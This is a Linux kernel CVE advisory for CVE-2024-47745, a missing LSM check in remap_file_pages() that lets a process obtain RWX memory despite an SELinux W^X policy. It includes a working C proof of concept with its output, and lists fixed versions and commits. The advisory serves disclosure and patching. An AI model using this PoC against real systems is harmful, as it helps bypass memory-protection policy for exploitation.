Subject: CVE-2024-47745: mm: call the security_mmap_file() LSM hook in remap_file_pages()

From: Greg Kroah-Hartman <[email-masked]>

Description
===========

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which
doesn't contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, "test", 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open("/proc/self/maps", O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret <= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}

$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

The Linux kernel CVE team has assigned CVE-2024-47745 to this issue.

Affected and fixed versions
===========================

	Fixed in 6.6.54 with commit 49d3a4ad57c5
	Fixed in 6.10.13 with commit 3393fddbfa94
	Fixed in 6.11.2 with commit ce14f38d6ee9
	Fixed in 6.12-rc1 with commit ea7e2d5e49c0

Please see https://www.kernel.org for a full list of currently supported
kernel versions by the kernel community.

Unaffected versions might change over time as fixes are backported to
older supported kernel versions.  The official CVE entry at
	https://cve.org/CVERecord/?id=CVE-2024-47745
will be updated if fixes are backported, please check that for the most
up to date information about this issue.

Affected files
==============

The file(s) affected by this issue are:
	mm/mmap.c

Mitigation
==========

The Linux kernel CVE team recommends that you update to the latest
stable kernel version for this, and many other bugfixes.  Individual
changes are never tested alone, but rather are part of a larger kernel
release.  Cherry-picking individual commits is not recommended or
supported by the Linux kernel community at all.  If however, updating to
the latest release is impossible, the individual changes to resolve this
issue can be found at these commits:
	https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178
	https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89
	https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3
	https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2